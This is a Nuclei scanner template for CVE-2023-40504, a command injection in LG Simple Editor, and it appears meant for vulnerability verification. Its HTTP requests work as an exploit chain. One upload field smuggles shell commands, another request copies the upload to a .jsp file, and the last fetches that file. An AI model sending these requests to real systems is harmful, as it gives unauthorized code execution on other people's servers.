CVE-2023-40504: LG Simple Editor <= v3.21.0 - Command Injection

id: CVE-2023-40504
info:
  name: LG Simple Editor <= v3.21.0 - Command Injection
  author: s4e-io
  severity: critical
  description: |
    LG Simple Editor readVideoInfo Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of LG Simple Editor. Authentication is not required to exploit this vulnerability. The specific flaw exists within the readVideoInfo method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of SYSTEM.
  reference:
    - https://www.zerodayinitiative.com/advisories/ZDI-23-1208/
    - https://packetstormsecurity.com/files/180171/LG-Simple-Editor-3.21.0-Command-Injection.html
    - https://0day.today/exploit/39719
    - https://www.usom.gov.tr/bildirim/tr-24-0417
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40504
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-40504
    cwe-id: CWE-78
    epss-score: 0.89601
    epss-percentile: 0.99536
  metadata:
    max-request: 1
    verified: true
    vendor: lg
    product: simple_editor
    fofa-query: icon_hash="159985907"
  tags: cve,cve2023,lg,simple-editor,intrusive,rce,file-upload

variables:
  filename: "{{rand_base(12)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /simpleeditor/common/commonReleaseNotes.do HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"LG Simple Editor")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /simpleeditor/imageManager/uploadVideo.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="uploadVideo"; filename="{{filename}}.bmp"

        /
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="uploadPath"

        /"&cmd&cd ..&cd ..&cd ..&cd server&cd webapps&cd simpleeditor&del {{filename}}.bmp&/../"
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="uploadFile_x"

        1
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="uploadFile_width"

        1
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="uploadFile_height"

        1
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "errorCode","errorMessage","fail")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /simpleeditor/fileSystem/makeDetailContent.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {"command":"cp","option":"-f","srcPath":"/{{filename}}_original.bmp","destPath":"/{{filename}}.jsp"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "errorCode","errorMessage","data","success")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /simpleeditor/{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502201ea3f64ae716bee766581a8660a3746346912ca3318d2b5899da28b70bf72f85022100e797dc82b879d2cb2662a6cd13e3e88857885c9473dbf9829d45270506317fdb:922c64590222798bb761d5b6d8e72950